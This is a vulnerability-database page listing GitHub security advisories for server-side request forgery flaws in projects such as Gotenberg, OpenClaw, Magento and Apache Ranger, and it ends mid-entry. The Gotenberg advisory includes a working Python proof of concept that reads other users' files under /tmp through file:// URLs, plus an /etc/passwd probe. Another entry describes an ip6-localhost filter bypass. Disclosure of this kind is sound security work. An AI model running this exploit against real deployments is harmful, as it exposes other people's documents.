CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4759 vulnerabilities reference this CWE, most recent first.
GHSA-G84H-J7JJ-X32P
Vulnerability from github – Published: 2026-07-07 19:35 – Updated: 2026-07-07 19:35Summary
A known vulnerability CVE-2026-33060 indicated tools including ckan_package_search and sparql_query that accept a base_url parameter had the risk of making HTTP requests to arbitrary endpoints without restriction. A fix was applied to filter out ip addresses. However, a method to bypass exists.
Details
CKAN MCP Server validates caller-supplied CKAN server URLs by inspecting only the parsed hostname string before issuing outbound HTTP requests. In src/utils/http.ts, hostname aliases such as ip6-localhost are not equal to localhost, are not dotted IPv4 literals, and are not bracketed IPv6 literals, so they pass the SSRF filter but can resolve to loopback when the server performs the request. A remote MCP caller that can invoke CKAN tools with a server_url can therefore make the server connect to local or private addresses and, for CKAN-shaped responses, receive response-derived data.
Fix
Replaced the single hostname === 'localhost' check with a blocked-hostname Set covering ip6-localhost and ip6-loopback. Patched in commit c761045a1b7c5f40d2626540dd2ef1d4feb91f8c.
@aborruso/ckan-mcp-server thanks hibrian827 for responsibly disclosing this issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@aborruso/ckan-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.106"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53509"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-07T19:35:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nA known vulnerability CVE-2026-33060 indicated tools including ckan_package_search and sparql_query that accept a base_url parameter had the risk of making HTTP requests to arbitrary endpoints without restriction. A fix was applied to filter out ip addresses. However, a method to bypass exists.\n\n### Details\nCKAN MCP Server validates caller-supplied CKAN server URLs by inspecting only the parsed hostname string before issuing outbound HTTP requests. In `src/utils/http.ts`, hostname aliases such as `ip6-localhost` are not equal to `localhost`, are not dotted IPv4 literals, and are not bracketed IPv6 literals, so they pass the SSRF filter but can resolve to loopback when the server performs the request. A remote MCP caller that can invoke CKAN tools with a `server_url` can therefore make the server connect to local or private addresses and, for CKAN-shaped responses, receive response-derived data.\n\n### Fix\nReplaced the single `hostname === \u0027localhost\u0027` check with a blocked-hostname `Set` covering `ip6-localhost` and `ip6-loopback`. Patched in commit `c761045a1b7c5f40d2626540dd2ef1d4feb91f8c`.\n\n---\n@aborruso/ckan-mcp-server thanks **hibrian827** for responsibly disclosing this issue.",
"id": "GHSA-g84h-j7jj-x32p",
"modified": "2026-07-07T19:35:57Z",
"published": "2026-07-07T19:35:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-g84h-j7jj-x32p"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-3xm7-qw7j-qc8v"
},
{
"type": "PACKAGE",
"url": "https://github.com/ondata/ckan-mcp-server"
},
{
"type": "WEB",
"url": "https://github.com/ondata/ckan-mcp-server/releases/tag/v0.4.106"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@aborruso/ckan-mcp-server: SSRF via base_url allows access to internal networks (Potential fix bypass of CVE-2026-33060)"
}
GHSA-G86V-F9QV-RH6M
Vulnerability from github – Published: 2026-03-31 23:58 – Updated: 2026-03-31 23:58Summary
The SSRF/IP classifier treated several IPv6 special-use ranges as public and allowed fetches to proceed.
Impact
An attacker who controlled a fetched URL could target internal or non-routable IPv6 addresses that should have been blocked by the SSRF guard.
Affected Component
src/shared/net/ip.ts, src/infra/net/ssrf.*
Fixed Versions
- Affected:
<= 2026.3.24 - Patched:
>= 2026.3.28 - Latest stable
2026.3.28contains the fix.
Fix
Fixed by commit d61f8e5672 (Net: block missing IPv6 special-use ranges).
OpenClaw thanks @nicky-cc of Tencent zhuque Lab https://github.com/Tencent/AI-Infra-Guard for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.3.24"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.28"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:58:43Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nThe SSRF/IP classifier treated several IPv6 special-use ranges as public and allowed fetches to proceed.\n\n## Impact\n\nAn attacker who controlled a fetched URL could target internal or non-routable IPv6 addresses that should have been blocked by the SSRF guard.\n\n## Affected Component\n\n`src/shared/net/ip.ts, src/infra/net/ssrf.*`\n\n## Fixed Versions\n\n- Affected: `\u003c= 2026.3.24`\n- Patched: `\u003e= 2026.3.28`\n- Latest stable `2026.3.28` contains the fix.\n\n## Fix\n\nFixed by commit `d61f8e5672` (`Net: block missing IPv6 special-use ranges`).\n\nOpenClaw thanks @nicky-cc of Tencent zhuque Lab [https://github.com/Tencent/AI-Infra-Guard](https://github.com/Tencent/AI-Infra-Guard) for reporting.",
"id": "GHSA-g86v-f9qv-rh6m",
"modified": "2026-03-31T23:58:43Z",
"published": "2026-03-31T23:58:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g86v-f9qv-rh6m"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/d61f8e56723e03573b847422468d99c44c26e34f"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenClaw SSRF guard misses four IPv6 special-use ranges"
}
GHSA-G8F8-X9RF-6JG3
Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03IBM Jazz Foundation and IBM Engineering products are vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 194594.
{
"affected": [],
"aliases": [
"CVE-2021-20345"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-02T21:15:00Z",
"severity": "MODERATE"
},
"details": "IBM Jazz Foundation and IBM Engineering products are vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 194594.",
"id": "GHSA-g8f8-x9rf-6jg3",
"modified": "2022-05-24T19:03:50Z",
"published": "2022-05-24T19:03:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20345"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/194594"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6457739"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G8J6-M4P7-5RFQ
Vulnerability from github – Published: 2018-10-16 17:18 – Updated: 2021-09-10 20:29DNN (aka DotNetNuke) before 9.2.0 suffers from a Server-Side Request Forgery (SSRF) vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "DotNetNuke.Core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-0929"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:36:32Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "DNN (aka DotNetNuke) before 9.2.0 suffers from a Server-Side Request Forgery (SSRF) vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.",
"id": "GHSA-g8j6-m4p7-5rfq",
"modified": "2021-09-10T20:29:38Z",
"published": "2018-10-16T17:18:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0929"
},
{
"type": "WEB",
"url": "https://github.com/dnnsoftware/Dnn.Platform/commit/d3953db85fee77bb5e6383747692c507ef8b94c3"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-g8j6-m4p7-5rfq"
},
{
"type": "PACKAGE",
"url": "https://github.com/dnnsoftware/Dnn.Platform"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "High severity vulnerability that affects DotNetNuke.Core"
}
GHSA-G924-CJX7-2RJW
Vulnerability from github – Published: 2026-05-07 01:15 – Updated: 2026-07-21 14:34Summary
The /forms/chromium/convert/url and /forms/chromium/screenshot/url routes accept url=file:///tmp/... from anonymous callers. The default Chromium deny-list intentionally exempts file:///tmp/ so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request AllowedFilePrefixes guard to scope the read. The URL routes never set AllowedFilePrefixes, so the scope guard silently skips. Alice enumerates /tmp/, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.
Details
The default deny-list regex at pkg/modules/chromium/chromium.go:449 uses a negative lookahead to exempt /tmp/:
fs.StringSlice("chromium-deny-list",
[]string{`^file:(?!//\/tmp/).*`},
"Set the denied URLs for Chromium using regular expressions - supports multiple values")
pkg/gotenberg/outbound.go:185-187 short-circuits IP validation for non-HTTP schemes:
if !httpLikeScheme(parsed.Scheme) {
return outboundDecision{}, nil
}
So any file:///tmp/... URL passes FilterOutboundURL cleanly.
The HTML route pairs the exemption with a per-request scope guard (pkg/modules/chromium/routes.go:518):
options.AllowedFilePrefixes = []string{ctx.DirPath()}
and the CDP Fetch.requestPaused handler enforces the scope (pkg/modules/chromium/events.go:65-78):
if allow && strings.HasPrefix(e.Request.URL, "file://") && len(options.allowedFilePrefixes) > 0 {
prefixMatch := false
for _, prefix := range options.allowedFilePrefixes {
if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
prefixMatch = true
break
}
}
if !prefixMatch {
allow = false
}
}
The len(options.allowedFilePrefixes) > 0 condition skips the entire enforcement block when the slice is empty. The URL route handler at pkg/modules/chromium/routes.go:406-448 (convertUrlRoute) never populates AllowedFilePrefixes. MandatoryString("url", &url) takes the form value without scheme validation and passes it to convertUrl → chromium.Pdf → Chromium navigation.
Gotenberg stores uploaded request assets at /tmp/<gotenberg-work-uuid>/<request-uuid>/<file-uuid>.<ext> (pkg/gotenberg/fs.go:64-65). Chromium renders the targeted file:// URL as a PDF and the response body returns to the caller.
Proof of Concept
Reproduction uses the stock Docker image with no auth:
docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8
Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. waitDelay=15s stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):
import requests, threading, time, subprocess, re
TARGET = "http://localhost:3000"
SECRET = f"BOB-CROSS-REQ-LEAK-{int(time.time())}"
bob_html = f"<html><body><h1>{SECRET}</h1></body></html>".encode()
def bob_runs():
requests.post(
f"{TARGET}/forms/chromium/convert/html",
files={"files": ("index.html", bob_html, "text/html")},
data={"waitDelay": "15s"},
timeout=60,
)
def alice_reads(url):
r = requests.post(
f"{TARGET}/forms/chromium/convert/url",
files={"url": (None, url)}, timeout=30,
)
if r.status_code != 200: return None
open("/tmp/_alice.pdf", "wb").write(r.content)
return subprocess.run(
["pdftotext", "/tmp/_alice.pdf", "-"],
capture_output=True, text=True,
).stdout
threading.Thread(target=bob_runs, daemon=True).start()
time.sleep(2)
# Step 1: list /tmp/ to discover the gotenberg work UUID
tmp = alice_reads("file:///tmp/")
work = re.search(r"([0-9a-f-]{36})", tmp).group(1)
# Step 2: walk into the work dir to find an in-flight request dir
wd = alice_reads(f"file:///tmp/{work}/")
for req in re.findall(r"([0-9a-f-]{36})", wd):
if req == work: continue
rd = alice_reads(f"file:///tmp/{work}/{req}/")
if rd and (m := re.search(r"([0-9a-f-]{36}\.html)", rd)):
# Step 3: read bob's uploaded HTML
txt = alice_reads(f"file:///tmp/{work}/{req}/{m.group(1)}")
print("SECRET recovered:", SECRET in txt)
break
# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)
r = requests.post(f"{TARGET}/forms/chromium/convert/url",
files={"url": (None, "file:///etc/passwd")}, timeout=30)
print(f"/etc/passwd probe: HTTP {r.status_code}") # 403 Forbidden
Output against gotenberg 8.31.0:
SECRET recovered: True
/etc/passwd probe: HTTP 403
file:///tmp/ directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim's request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit waitDelay) widen the window from milliseconds to seconds.
Impact
An unauthenticated caller enumerates /tmp/ on the Gotenberg host and reads the raw source files of other users' conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim's request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.
The deny-list regex holds for paths outside /tmp/. file:///etc/passwd, file:///proc/self/environ, and similar targets return HTTP 403. The primitive is scoped to /tmp/, not arbitrary filesystem read.
Recommended Fix
Remove the len(options.allowedFilePrefixes) > 0 condition at pkg/modules/chromium/events.go:65 so URL routes block every file:// sub-resource by default:
if allow && strings.HasPrefix(e.Request.URL, "file://") {
if len(options.allowedFilePrefixes) == 0 {
allow = false
} else {
prefixMatch := false
for _, prefix := range options.allowedFilePrefixes {
if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
prefixMatch = true
break
}
}
if !prefixMatch {
allow = false
}
}
}
Equivalent alternative: reject non-http/https schemes in the URL route handlers (convertUrlRoute, screenshotUrlRoute) before handing the URL to Chromium.
Found by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.31.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.32.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v7"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "7.10.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42597"
],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T01:15:47Z",
"nvd_published_at": "2026-05-14T16:16:23Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `/forms/chromium/convert/url` and `/forms/chromium/screenshot/url` routes accept `url=file:///tmp/...` from anonymous callers. The default Chromium deny-list intentionally exempts `file:///tmp/` so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request `AllowedFilePrefixes` guard to scope the read. The URL routes never set `AllowedFilePrefixes`, so the scope guard silently skips. Alice enumerates `/tmp/`, walks Gotenberg\u0027s per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.\n\n## Details\n\nThe default deny-list regex at `pkg/modules/chromium/chromium.go:449` uses a negative lookahead to exempt `/tmp/`:\n\n```go\nfs.StringSlice(\"chromium-deny-list\",\n []string{`^file:(?!//\\/tmp/).*`},\n \"Set the denied URLs for Chromium using regular expressions - supports multiple values\")\n```\n\n`pkg/gotenberg/outbound.go:185-187` short-circuits IP validation for non-HTTP schemes:\n\n```go\nif !httpLikeScheme(parsed.Scheme) {\n return outboundDecision{}, nil\n}\n```\n\nSo any `file:///tmp/...` URL passes `FilterOutboundURL` cleanly.\n\nThe HTML route pairs the exemption with a per-request scope guard (`pkg/modules/chromium/routes.go:518`):\n\n```go\noptions.AllowedFilePrefixes = []string{ctx.DirPath()}\n```\n\nand the CDP `Fetch.requestPaused` handler enforces the scope (`pkg/modules/chromium/events.go:65-78`):\n\n```go\nif allow \u0026\u0026 strings.HasPrefix(e.Request.URL, \"file://\") \u0026\u0026 len(options.allowedFilePrefixes) \u003e 0 {\n prefixMatch := false\n for _, prefix := range options.allowedFilePrefixes {\n if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n prefixMatch = true\n break\n }\n }\n if !prefixMatch {\n allow = false\n }\n}\n```\n\nThe `len(options.allowedFilePrefixes) \u003e 0` condition skips the entire enforcement block when the slice is empty. The URL route handler at `pkg/modules/chromium/routes.go:406-448` (`convertUrlRoute`) never populates `AllowedFilePrefixes`. `MandatoryString(\"url\", \u0026url)` takes the form value without scheme validation and passes it to `convertUrl` \u2192 `chromium.Pdf` \u2192 Chromium navigation.\n\nGotenberg stores uploaded request assets at `/tmp/\u003cgotenberg-work-uuid\u003e/\u003crequest-uuid\u003e/\u003cfile-uuid\u003e.\u003cext\u003e` (`pkg/gotenberg/fs.go:64-65`). Chromium renders the targeted `file://` URL as a PDF and the response body returns to the caller.\n\n## Proof of Concept\n\nReproduction uses the stock Docker image with no auth:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n```\n\nPython script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. `waitDelay=15s` stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):\n\n```python\nimport requests, threading, time, subprocess, re\nTARGET = \"http://localhost:3000\"\nSECRET = f\"BOB-CROSS-REQ-LEAK-{int(time.time())}\"\n\nbob_html = f\"\u003chtml\u003e\u003cbody\u003e\u003ch1\u003e{SECRET}\u003c/h1\u003e\u003c/body\u003e\u003c/html\u003e\".encode()\n\ndef bob_runs():\n requests.post(\n f\"{TARGET}/forms/chromium/convert/html\",\n files={\"files\": (\"index.html\", bob_html, \"text/html\")},\n data={\"waitDelay\": \"15s\"},\n timeout=60,\n )\n\ndef alice_reads(url):\n r = requests.post(\n f\"{TARGET}/forms/chromium/convert/url\",\n files={\"url\": (None, url)}, timeout=30,\n )\n if r.status_code != 200: return None\n open(\"/tmp/_alice.pdf\", \"wb\").write(r.content)\n return subprocess.run(\n [\"pdftotext\", \"/tmp/_alice.pdf\", \"-\"],\n capture_output=True, text=True,\n ).stdout\n\nthreading.Thread(target=bob_runs, daemon=True).start()\ntime.sleep(2)\n\n# Step 1: list /tmp/ to discover the gotenberg work UUID\ntmp = alice_reads(\"file:///tmp/\")\nwork = re.search(r\"([0-9a-f-]{36})\", tmp).group(1)\n\n# Step 2: walk into the work dir to find an in-flight request dir\nwd = alice_reads(f\"file:///tmp/{work}/\")\nfor req in re.findall(r\"([0-9a-f-]{36})\", wd):\n if req == work: continue\n rd = alice_reads(f\"file:///tmp/{work}/{req}/\")\n if rd and (m := re.search(r\"([0-9a-f-]{36}\\.html)\", rd)):\n # Step 3: read bob\u0027s uploaded HTML\n txt = alice_reads(f\"file:///tmp/{work}/{req}/{m.group(1)}\")\n print(\"SECRET recovered:\", SECRET in txt)\n break\n\n# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)\nr = requests.post(f\"{TARGET}/forms/chromium/convert/url\",\n files={\"url\": (None, \"file:///etc/passwd\")}, timeout=30)\nprint(f\"/etc/passwd probe: HTTP {r.status_code}\") # 403 Forbidden\n```\n\nOutput against gotenberg 8.31.0:\n\n```\nSECRET recovered: True\n/etc/passwd probe: HTTP 403\n```\n\n`file:///tmp/` directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim\u0027s request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit `waitDelay`) widen the window from milliseconds to seconds.\n\n## Impact\n\nAn unauthenticated caller enumerates `/tmp/` on the Gotenberg host and reads the raw source files of other users\u0027 conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim\u0027s request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.\n\nThe deny-list regex holds for paths outside `/tmp/`. `file:///etc/passwd`, `file:///proc/self/environ`, and similar targets return HTTP 403. The primitive is scoped to `/tmp/`, not arbitrary filesystem read.\n\n## Recommended Fix\n\nRemove the `len(options.allowedFilePrefixes) \u003e 0` condition at `pkg/modules/chromium/events.go:65` so URL routes block every `file://` sub-resource by default:\n\n```go\nif allow \u0026\u0026 strings.HasPrefix(e.Request.URL, \"file://\") {\n if len(options.allowedFilePrefixes) == 0 {\n allow = false\n } else {\n prefixMatch := false\n for _, prefix := range options.allowedFilePrefixes {\n if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n prefixMatch = true\n break\n }\n }\n if !prefixMatch {\n allow = false\n }\n }\n}\n```\n\nEquivalent alternative: reject non-`http`/`https` schemes in the URL route handlers (`convertUrlRoute`, `screenshotUrlRoute`) before handing the URL to Chromium.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-g924-cjx7-2rjw",
"modified": "2026-07-21T14:34:24Z",
"published": "2026-05-07T01:15:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-g924-cjx7-2rjw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42597"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme"
}
GHSA-G99V-8HWM-G76G
Vulnerability from github – Published: 2026-03-02 22:03 – Updated: 2026-03-20 21:36Summary
Gemini web_search citation redirect resolution used a private-network-allowing SSRF policy. A citation URL redirect could target loopback/private/internal destinations and be fetched by the gateway.
Impact
An attacker who can influence citation redirect targets could trigger internal-network requests from the OpenClaw host.
Fix
Citation redirect resolution now uses strict/default SSRF policy (no private-network override), blocking localhost/private/internal redirect targets.
Affected and Patched Versions
- Affected:
<= 2026.2.26 - Patched:
2026.3.1
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31989"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T22:03:09Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nGemini `web_search` citation redirect resolution used a private-network-allowing SSRF policy. A citation URL redirect could target loopback/private/internal destinations and be fetched by the gateway.\n\n### Impact\nAn attacker who can influence citation redirect targets could trigger internal-network requests from the OpenClaw host.\n\n### Fix\nCitation redirect resolution now uses strict/default SSRF policy (no private-network override), blocking localhost/private/internal redirect targets.\n\n### Affected and Patched Versions\n- Affected: `\u003c= 2026.2.26`\n- Patched: `2026.3.1`",
"id": "GHSA-g99v-8hwm-g76g",
"modified": "2026-03-20T21:36:03Z",
"published": "2026-03-02T22:03:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g99v-8hwm-g76g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31989"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-via-web-search-citation-redirect"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw has web_search citation redirect SSRF via private-network-allowing policy"
}
GHSA-G9FM-WC6H-PVGJ
Vulnerability from github – Published: 2024-10-10 12:31 – Updated: 2024-12-12 19:32Adobe Commerce versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 (and earlier) are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to arbitrary file system read. An admin-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.7-beta1"
},
{
"fixed": "2.4.7-p3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.6-p1"
},
{
"fixed": "2.4.6-p8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.5-p1"
},
{
"fixed": "2.4.5-p10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.4-p11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.7"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.6"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.5"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.4"
]
}
],
"aliases": [
"CVE-2024-45119"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-11T18:15:48Z",
"nvd_published_at": "2024-10-10T10:15:04Z",
"severity": "MODERATE"
},
"details": "Adobe Commerce versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 (and earlier) are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to arbitrary file system read. An admin-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.",
"id": "GHSA-g9fm-wc6h-pvgj",
"modified": "2024-12-12T19:32:06Z",
"published": "2024-10-10T12:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45119"
},
{
"type": "PACKAGE",
"url": "https://github.com/magento/magento2"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/magento/apsb24-73.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Magento Open Source Server-Side Request Forgery (SSRF) vulnerability"
}
GHSA-G9GF-G5JQ-9H3V
Vulnerability from github – Published: 2025-01-22 00:33 – Updated: 2025-06-10 14:52SSRF vulnerability in Edit Service Page of Apache Ranger UI in Apache Ranger Version 2.4.0. Users are recommended to upgrade to version Apache Ranger 2.5.0, which fixes this issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.ranger:ranger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45479"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-27T22:57:20Z",
"nvd_published_at": "2025-01-21T22:15:12Z",
"severity": "CRITICAL"
},
"details": "SSRF vulnerability in Edit Service Page of Apache Ranger UI in Apache Ranger Version 2.4.0.\nUsers are recommended to upgrade to version Apache Ranger 2.5.0, which fixes this issue.",
"id": "GHSA-g9gf-g5jq-9h3v",
"modified": "2025-06-10T14:52:09Z",
"published": "2025-01-22T00:33:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45479"
},
{
"type": "WEB",
"url": "https://cwiki.apache.org/confluence/display/RANGER/Vulnerabilities+found+in+Ranger"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/ranger"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/01/21/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Ranger UI vulnerable to Server Side Request Forgery"
}
GHSA-G9PH-J5VJ-F8WM
Vulnerability from github – Published: 2024-08-21 18:27 – Updated: 2024-08-21 18:27Impact
